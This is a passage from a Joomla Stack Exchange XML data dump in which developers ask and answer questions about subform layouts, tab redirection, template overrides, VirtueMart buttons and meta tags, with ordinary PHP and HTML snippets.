  <row Id="18435" PostTypeId="2" ParentId="18428" CreationDate="2016-11-21T16:48:30.130" Score="4" Body="&lt;p&gt;&lt;strong&gt;Edited to add subform field type-specific answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked at it properly, attaching your own layout to the subform field type is super-easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &lt;code&gt;layouts&lt;/code&gt; folder in the same parent component folder (site or admin) as the XML file, and put your layout in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-com_myComponent &#xA;    - controllers&#xA;    - layouts&#xA;        - mylayout.php&#xA;    - models&#xA;        - forms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;layout=&quot;mylayout&quot;&lt;/code&gt; to your subform field in your XML and there you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't get much easier!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should also note your layout file names can be the same as the default ones, yours will always get loaded if there's any conflict. So, for example, even though there's a subform layout called &lt;code&gt;default.php&lt;/code&gt; you can still name yours &lt;code&gt;default.php&lt;/code&gt; and it'll work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pre-edit answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how to include a layout from one of mine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('layouts.dupebutton', $dupeData, JPATH_COMPONENT_ADMINISTRATOR); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First argument is 'layoutFolder.layoutName'.&lt;/li&gt;&#xA;&lt;li&gt;Second argument is the data to pass to the layout (you'll be passing your form/fields).&lt;/li&gt;&#xA;&lt;li&gt;Third is the base path to use to search for the layout folder/file (in this case the path to the admin install of my component).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You need to add something similar to that when you want your layout to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;com_myComponent&lt;/code&gt; folder in Joomla's &lt;code&gt;administrator&lt;/code&gt; folder (ie. &lt;code&gt;JPATH_COMPONENT_ADMINISTRATOR&lt;/code&gt;) has this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-com_myComponent &#xA;    - classes&#xA;    - controllers&#xA;    - layouts&#xA;        - dupebutton.php&#xA;        - anotherlayout.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla's layout helper will pass the data you specified to the layout when it renders it. When the layout is rendered it will contain a pre-assigned variable called &lt;code&gt;$displayData&lt;/code&gt;. You can just use this variable as is, but it seems to be Joomla convention to add this line in the &lt;code&gt;&amp;lt;?php&lt;/code&gt; tags at the top of your layout files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$data = $displayData;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's just a case of building the layout using the form fields you want. Let me know if you also want examples of that, but it sounds like you know how already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, I'm pretty sure it is actually possible to select from form subgroups, but the syntax isn't very intuitive or well documented - last time I tried to do it I gave up much like you are now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also multiple ways to achieve what you want, there are alternatives to using a layout. Still, it's as good a solution as any, so I'd stick with it.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-11-22T01:06:53.893" LastActivityDate="2016-11-22T01:06:53.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18436" PostTypeId="1" CreationDate="2016-11-21T19:17:34.903" Score="0" ViewCount="138" Body="&lt;p&gt;My goal is to be able to change the content within &lt;a href=&quot;https://www.regularlabs.com/extensions/addtomenu&quot; rel=&quot;nofollow noreferrer&quot;&gt;AddtoMenu&lt;/a&gt; - so I can set the language by default rather than &quot;all&quot; - I want &quot;en-gb&quot; or &quot;zh-TW&quot; etc. based on my content type (am using FLEXIcontent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AddtoMenu uses squeezebox to trigger iframe - and I can't work out how to edit the squeezebox iframe content. I can manipulate the #sbox-window its held in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($(&quot;#jform_language&quot;).val() === &quot;en-GB&quot;) {&#xA;$('#sbox-window').addClass('en');   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do I add a class to the iframe when it pops opens?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?rl_qp=1&amp;amp;folder=administrator.modules.mod_addtomenu&amp;amp;file=popup.php&amp;amp;comp=item_old&amp;amp;vars[view]=item&amp;amp;vars[cid]=358&amp;amp;vars[option]=com_flexicontent&amp;amp;vars[task]=items.edit&quot; class=&quot;btn btn-small addtomenu_link modal hasTooltip&quot; title=&quot;&amp;lt;strong&amp;gt;Add to Menu&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;Content item&quot; rel=&quot;{handler: 'iframe', size: {x: 600, y: 670}}&quot;&amp;gt;&amp;lt;span class=&quot;icon-reglab icon-addtomenu&quot;&amp;gt;&amp;lt;/span&amp;gt; Add to Menu&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2016-11-21T19:17:34.903" Title="3.6x Administrator - add class to squeezebox iframe on popup" Tags="|administrator|template-override|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18437" PostTypeId="2" ParentId="14229" CreationDate="2016-11-21T23:00:44.693" Score="0" Body="&lt;p&gt;Use jQuery onChange event and execute a controller task that will provide you a JSON result with data you need. If this is not a component you will need to create one. Alternatively you can try a CLI application. This is the only secure and reliable way.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2016-11-21T23:00:44.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18438" PostTypeId="2" ParentId="18382" CreationDate="2016-11-21T23:18:06.797" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;install/update script&lt;/a&gt;. You have access to the framework in this and you can run SQL queries to check for table columns.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2016-11-21T23:18:06.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18439" PostTypeId="2" ParentId="18430" CreationDate="2016-11-22T10:02:53.110" Score="2" Body="&lt;p&gt;Go to Module Manager at Extensions | Modules , &#xA;click on 'Search Tools' button, in 'Select Position'&#xA; dropdown select that position copyright-a,&#xA; find the module in question and either disable it or delete it.&lt;/p&gt;&#xA;" OwnerUserId="9322" LastActivityDate="2016-11-22T10:02:53.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18440" PostTypeId="2" ParentId="18406" CreationDate="2016-11-22T10:33:39.030" Score="5" Body="&lt;p&gt;I am able to replace virtuemart 'add to cart' button. I am able to achieve it by help from &lt;em&gt;Studio42&lt;/em&gt; on virtuemart forum, discussion on this &#xA;&lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=136044.0&quot; rel=&quot;noreferrer&quot;&gt;url&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following set of code, with php only will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//this will remove 'addtocart' button, but show 'choose a variant', &#xA;// and also show quantity selector&#xA;$product-&amp;gt;orderable = false;&#xA;&#xA;//this along with above line of code will totally replace it &#xA;//with your own button&#xA;$product-&amp;gt;addToCartButton = '&amp;lt;div&amp;gt;my own button&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2016-11-22T10:33:39.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18441" PostTypeId="1" AcceptedAnswerId="18445" CreationDate="2016-11-22T10:50:23.857" Score="2" ViewCount="343" Body="&lt;p&gt;I would like the template for editing articles to be different from the template for viewing articles. How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="7543" LastActivityDate="2016-11-28T01:24:18.247" Title="Different templates for viewing and editing articles" Tags="|templates|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18442" PostTypeId="1" CreationDate="2016-11-22T12:35:49.790" Score="2" ViewCount="774" Body="&lt;p&gt;I'm working on a Joomla component and need help in redirecting to specific tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created multiple tabs in my view using bootstrap (eg: JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&gt; 'tab1')). I can set the default active tab by passing 'active' =&gt; 'tabname'. However, I want to control this dynamically after any actions performed on the view in any specific tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the user clicks the save button while in Tab3, I want to return to Tab3 after the save action completes. Currently it goes back to tab1 as I set that as default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me how to identify the current tab and redirect to the same tab after any action by the user?&lt;/p&gt;&#xA;" OwnerUserId="9323" LastActivityDate="2017-03-22T19:00:12.443" Title="Redirect to specific tab in view" Tags="|component|joomla-3.4|view|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18443" PostTypeId="2" ParentId="4526" CreationDate="2016-11-22T12:54:39.107" Score="-1" Body="&lt;p&gt;You may find that some of xampp's default settings need to be changed.  If you have difficulty installing Joomla or installing extensions into it then &lt;a href=&quot;http://www.weblinksonline.co.uk/tutorials/joomla-tutorials/install-joomla-localhost.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla on localhost&lt;/a&gt; may be of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Xampp like other localhosts comes with default settings that do not suit Joomla or Wordpress&lt;/p&gt;&#xA;" OwnerUserId="9324" LastActivityDate="2016-11-22T12:54:39.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18444" PostTypeId="2" ParentId="18442" CreationDate="2016-11-22T13:30:32.857" Score="1" Body="&lt;p&gt;You have to pass the tab where you are in the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it once like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input; &#xA;$tab    = $jinput-&amp;gt;getString('tab', 'info');&#xA;&#xA;$tabinfo  = false;&#xA;$tabphoto = false;&#xA;$tabmap   = false;&#xA;&#xA;if ($tab == 'photos')&#xA;{&#xA;    $tabphoto = true;&#xA;} &#xA;elseif ($tab == 'map') &#xA;{&#xA;    $tabmap = true;&#xA;}&#xA;else&#xA;{&#xA;    $tabinfo = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav nav-tabs&quot;&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;&amp;lt;?php echo ($tabinfo)?'active':''?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#info&quot; data-toggle=&quot;tab&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('WBS_COMPANY_INFO');?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;&amp;lt;?php echo ($tabphoto)?'active':''?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#photos&quot; data-toggle=&quot;tab&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('WBS_COMPANY_PHOTOS');?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;&amp;lt;?php echo ($tabmap)?'active':''?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#map&quot; data-toggle=&quot;tab&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('WBS_COMPANY_MAP');?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;&#xA;     &amp;lt;div id=&quot;info&quot; class=&quot;tab-pane &amp;lt;?php echo ($tabinfo)?'active':''?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;div id=&quot;photos&quot; class=&quot;tab-pane &amp;lt;?php echo ($tabphoto)?'active':''?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;div id=&quot;map&quot; class=&quot;tab-pane &amp;lt;?php echo ($tabmap)?'active':''?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastEditorUserId="371" LastEditDate="2016-11-22T16:37:20.460" LastActivityDate="2016-11-22T16:37:20.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18445" PostTypeId="2" ParentId="18441" CreationDate="2016-11-22T14:10:03.180" Score="6" Body="&lt;p&gt;It's actually possible by overriding it via 3rd party plugin. You can create a simple system plugin calling &lt;em&gt;setTemplate()&lt;/em&gt; method when the &lt;em&gt;onAfterRoute&lt;/em&gt; event occurs :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute() {&#xA;    $app      = JFactory::getApplication();&#xA;    $view     = $app-&amp;gt;input-&amp;gt;get('view');&#xA;    if ($view == 'form'){&#xA;        $app-&amp;gt;setTemplate('template_name', null);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have created a simple plugin for this purpose. You can download it from the &lt;a href=&quot;https://github.com/Joomla-StackExchange/editorTemplate/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSE Github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; :&#xA;I have submitted the extension to JED and it's now listed &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/style-a-design/templating/editor-template&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4PYO9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4PYO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-11-28T01:24:18.247" LastActivityDate="2016-11-28T01:24:18.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18446" PostTypeId="2" ParentId="17575" CreationDate="2016-11-22T14:27:47.117" Score="1" Body="&lt;p&gt;Contrary to rumours Google does not penalise 404s.  There is however detremental impact on the ranking your old pages had attained, the associated keyword matches for your old articles and of course user experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible for you to relink those pages back to new pages on your new site and carry forward, as it were, the ranking/reputation etc. of your old content (Although leaving it for 6 months is probably going to have negated this action).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using htaccess is one way, you could also use an extension to help.  The core extension called Redirect is OK for small number of links but in the best tradition of Joomla it offers a cumbursome interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some extensions like SH404SEF will try to match urls and redirect to existing content as best it can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preferrence is to use an extension called ReDJ.  This allows you to create rules for dynamically rebuilding urls from old ones to redirect to new content.&#xA;It is extremely powerful and does have something of a steep learning curve but the developer is active and very supportive.&#xA;It also tracks urls and how many times they have been visitied and provides an interface to create direct 1:1 redirects.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2016-11-22T14:27:47.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18447" PostTypeId="2" ParentId="18428" CreationDate="2016-11-22T16:58:11.063" Score="2" Body="&lt;p&gt;To place a subform (Joomla! 3.6+) within another &quot;master&quot; form and use a custom layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In the master JForm XML file use the subform field type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name= &quot;fieldname&quot;&#xA;    description= &quot;Field name description&quot;&#xA;    type= &quot;subform&quot;&#xA;    label= &quot;Field Label&quot;&#xA;    required= &quot;true&quot;&#xA;    formsource= &quot;/administrator/components/com_mycomponent/models/forms/myform.xml&quot;&#xA;    layout=&quot;myfolder.mylayoutfile&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;formsource&lt;/em&gt;&lt;/strong&gt; is the path to the JForm XML subform to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;layout&lt;/em&gt;&lt;/strong&gt; is the dot-notation path to the custom layout file. You must have a &quot;layouts&quot; folder in your component's directory structure. So, it would be com_mycomponent/layouts. Under the layouts folder you can create other folders (if you wish). In the example above, &quot;myfolder&quot; is a folder under &quot;layouts&quot; and &quot;mylayoutfile&quot; is the custom PHP layout file in that folder. Don't specify &quot;layouts&quot; in the dot-notation path and do not add .php to the filename.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) This is an example layout PHP file that can be modified for your purposes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;extract($displayData);&#xA;&#xA;$form = $forms[0];&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;subform-wrapper&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($form-&amp;gt;getGroup('') as $field): ?&amp;gt;&#xA;        &amp;lt;?php echo $field-&amp;gt;renderField(); ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-11-22T16:58:11.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18448" PostTypeId="2" ParentId="17896" CreationDate="2016-11-22T17:04:25.393" Score="2" Body="&lt;p&gt;Having articles that are accessible like this: /component/content/article/(###-categoryname)/(###-articlename)&#xA;Means you haven't created the appropriate menu structure to encompass content in these catgeories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the wrong template is being used is because Joomla cannot decide what menu item the article belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is good practice to create at least container menu items for category views etc so that the Joomla router knows which articles are associated with which menu itemid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful when creating hidden menu items as you may over complicate the sites structure.  Use Aliases when possible to point to existing menu items.&#xA;Do not put a real menu item as a child to parent that is an alias.  You will get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2016-10-22-12-59-00/stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good practice is to change Joomla home page from being featured article.  Building your home page from a single specific article+modules gives you much more control and frees &quot;Featured&quot; articles to be used elsewhere like a blog or news.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2016-12-05T18:38:43.640" LastActivityDate="2016-12-05T18:38:43.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18449" PostTypeId="2" ParentId="16499" CreationDate="2016-11-22T17:41:53.133" Score="1" Body="&lt;p&gt;Having a go...assuming this to be done without code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using two of Regular Labs tools.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Tabs: This allows you to activate tabs on the page in modules from elsewhere on the page.  Your buttons should work.  Check the instructions for this at Regular Labs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Advanced Module Manager.  Easy to make the stwo modules follow each other suing regular Labs Advanced Module Manager follow module feature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may need to mess with the tab's styling to get the effect you're looking for&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2016-11-22T17:41:53.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18450" PostTypeId="2" ParentId="14942" CreationDate="2016-11-22T18:17:17.070" Score="1" Body="&lt;p&gt;This was a known issue in Joomla see issues:&#xA;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/8364&quot; rel=&quot;nofollow noreferrer&quot;&gt;#8364&lt;/a&gt;&#xA; and &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/8751&quot; rel=&quot;nofollow noreferrer&quot;&gt;#8751&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update your Joomla to fix.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2016-11-22T18:17:17.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18451" PostTypeId="1" AcceptedAnswerId="18464" CreationDate="2016-11-23T02:27:21.107" Score="0" ViewCount="499" Body="&lt;p&gt;I wanted to show list as input field of joomla and options should be from other table. I also need one static opition like ALL. WHAT I Have to do ? I am using joomla 3.6 latest. I am asking fod multi select option combobox so admin can select One Multiple or None. Can anyone suggest about it.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastEditorUserId="9327" LastEditDate="2016-11-23T08:41:52.240" LastActivityDate="2016-11-23T16:24:48.877" Title="How we can allow user to select country from other table in our component" Tags="|joomla-3.x|form-fields-types|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18453" PostTypeId="2" ParentId="18350" CreationDate="2016-11-23T02:36:48.607" Score="1" Body="&lt;p&gt;I suggest to change sql files of joomla upgrade before you upgrade your joomla. Remove template related insertion.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2016-11-23T02:36:48.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18454" PostTypeId="1" CreationDate="2016-11-23T02:40:49.967" Score="1" ViewCount="1687" Body="&lt;p&gt;Can anyone explain structure of content and assets table. I m adding articles by API so how i can insert data into that two tables. In which table i have to add first. Please guide.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2022-10-27T04:43:44.353" Title="Structure of content and assets table of joomla" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18455" PostTypeId="1" AcceptedAnswerId="18500" CreationDate="2016-11-23T03:41:37.240" Score="2" ViewCount="2535" Body="&lt;p&gt;I have a test website running joomla 3.4: &lt;a href=&quot;http://test.amberaviation.com.au&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://test.amberaviation.com.au&lt;/a&gt;&#xA;If you look at the source code of the home page. It says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;description&quot; content=&quot;change_here&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;change_here&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tDME4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tDME4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change &lt;em&gt;description meta&lt;/em&gt; and &lt;em&gt;title&lt;/em&gt;. I have looked at this &lt;a href=&quot;https://joomla.stackexchange.com/questions/13485/where-to-edit-meta-description-for-each-article&quot;&gt;post&lt;/a&gt;, but it seems it is not matching up in the &lt;em&gt;global configuration&lt;/em&gt;. (see pic below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/STfht.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/STfht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it is in K2, but I don't know where to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module &quot;easy seo joomla&quot; actually change the meta for the home page. The method I found out is to pick a key word in the title or description meta tag. Then do a search in phpmyadmin. Normally, CMS always has this issue, because module overwrite another module, then overwrite another one. The key is to search in db or source file.&lt;/p&gt;&#xA;" OwnerUserId="9299" LastEditorUserId="9299" LastEditDate="2016-11-23T23:24:50.207" LastActivityDate="2018-07-02T01:37:57.450" Title="How to change home page title and description in meta tag" Tags="|k2|metadata|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18457" PostTypeId="1" CreationDate="2016-11-23T09:09:26.890" Score="1" ViewCount="1020" Body="&lt;p&gt;For a menu item if I choose &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;contact-&gt;featured contacts  &lt;strong&gt;Display&lt;/strong&gt; = &lt;strong&gt;table&lt;/strong&gt; view&lt;/li&gt;&#xA;&lt;li&gt;contacts-&gt;list all contacts in category  &lt;strong&gt;Display&lt;/strong&gt; = &lt;strong&gt;list&lt;/strong&gt; view&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I cannot find anywhere this seems to be defined. &#xA;How can I get a table for List all contacts in category?&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2017-07-29T13:48:16.647" Title="Contact list how display as table" Tags="|contact|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18458" PostTypeId="2" ParentId="18455" CreationDate="2016-11-23T10:36:56.977" Score="2" Body="&lt;p&gt;The second screenshot you have posted is from the &lt;strong&gt;Global Configuration&lt;/strong&gt;. In Global configuration, apart of the Basic Setup/Configuration, you can define settings that would be used globally across your Joomla Installation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically regarding the &lt;strong&gt;Meta/Robots&lt;/strong&gt; settings, what you will set there, usually it will be used when there is no other settings that will override it to produce a different outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meta Settings of a page can be manipulated/ovewritten in many ways. For example by settings on the &lt;strong&gt;Menu Item&lt;/strong&gt; if one is used, through the actual &lt;strong&gt;content item&lt;/strong&gt; that the page displays, or the settings of the &lt;strong&gt;component&lt;/strong&gt; that gets called, by &lt;strong&gt;3rd party extensions/plugins&lt;/strong&gt; -usually SEO ones- and even by the &lt;strong&gt;templates&lt;/strong&gt; and &lt;strong&gt;template overrides&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, back to your first screenshot - this doesn't display what you are mentioning in your question. It actually shows a &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;meta .. description&amp;gt;&lt;/code&gt;. I also checked your homepage and show the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, consider to update your question with more information about your specific issue.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-23T10:36:56.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18459" PostTypeId="2" ParentId="8858" CreationDate="2016-11-23T10:38:21.330" Score="2" Body="&lt;p&gt;I know the question is more than 1year old. But for those who would get here, I would like to provide some informations. CW Multicategories extension has been unpublished on JED at the moment. Reason is recreating to new generation of extension which offers more possibilities and better experience with the extension. Right now is being reviewed by JED admins, however it is taking them really long time (reaction time for replies is in weeks). You can get the extension still on developer's website - &lt;a href=&quot;http://extensions.cesky-web.eu/extensions/cw-multicategories&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.cesky-web.eu/extensions/cw-multicategories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a nice day&lt;/p&gt;&#xA;" OwnerUserId="9330" LastActivityDate="2016-11-23T10:38:21.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
